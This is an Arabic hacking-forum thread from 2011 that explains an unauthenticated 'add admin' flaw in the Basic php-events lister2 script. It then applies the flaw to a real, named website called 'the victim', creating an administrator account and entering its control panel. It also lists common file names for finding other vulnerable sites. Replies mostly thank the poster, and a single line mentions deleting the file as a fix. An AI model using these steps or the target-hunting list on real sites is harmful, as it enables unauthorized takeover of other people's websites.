=>|| شرح + استغلال ثغرآت الـ Add Admin

bleu moon · 05-29-2011, 04:57 PM

السلآم عليكم

كيفكم ياشبآب ؟

اليوم درسنآ بيكون تطبيق مبآشر على ثغرة add user

تحصلوها على الرآبط التآلي :
http://www.exploit-db.com/exploits/10515/

الثغرة في سكربت : Basic php-events lister2

=================================

The exploit :
Get in :

http://localhost/path/admin/add_user.php

and add your user ..

Example : r7e@hotmail.com - 123456

Then get in :

http://localhost/path/admin/login.php

=================================

------------------------------------------

شرح exploit

يعني الاستغلال

http://localhost/path/admin/add_user.php

http://localhost <<< الموقع المصاب
/path/ <<< الملف المصاب
admin <<< مجلد الآدمن او لوحتة الادارة ...
/add_user.php <<< من اسمووووا ضاهر شو بيعمل
اضافة يوزر جديد

------------------------------------------

################################################## ###

انا جبت الضحيه

http://easttexassolutions.com/events

نجي للتطبيق !

http://easttexassolutions.com/events

بعدها الى هنا

admin/add_user.php

يعني هيك

http://easttexassolutions.com/events/admin/add_user.php

الآن ادخل ايمايلك + الباس

^_^

username and password successfuly inserted!

Login successful!

بعدها

http://easttexassolutions.com/events/admin

get your msn + pass ...

الآن انت داخل لوحة تحكم الآدمن

:D

################################################## ###

*************************************************

تم استغلآل الثغرة بنجآح

ملاحضة مهمة :

بآقلكم ثغرآت الـ Add Admin عآدة لها ملفآت محدده ووآضحه

مثل

addadmin.php

add_admin.php

admin_add.php

user_add.php

add_user.php

...

وعآدة تكون ورآ لوحة التحكم ADMIN or cpanel ...

تغرة جميلة ؟

:love:

///////////////////////////////////////////////

طريقة الترقيع بسيطة وهي حذف ملف add_user.php or ...

المصدر: :: vBspiders Professional Network ::

=>|| avp + hsjyghg eyvNj hgJ Add Admin add user

bleu moon · 05-29-2011, 05:42 PM

آسف على التقصير في الشرح، ان شاء الله شرح فيديوا، في انتضار نزول تغرات جديدة من هذا النوع

k4$p3r-MA · 05-29-2011, 05:42 PM

ههههه مشكور اخي نور الدين

Hαcĸer'ѕ Kιɴɢ · 05-29-2011, 05:54 PM

تسلم أخي نوردين
إن شاء الله يستفيد منها الأعضاء
في أمان الله

05-29-2011, 06:09 PM

بارك الله فيك

bleu moon · 05-29-2011, 06:12 PM

مشكورين يا احلا اعضاء

KaLa$nikoV · 05-29-2011, 08:14 PM

ابداع

ما قصرت

bleu moon · 05-29-2011, 09:29 PM

^_^

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

=>|| شرح + استغلال ثغرآت الـ Add Admin

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات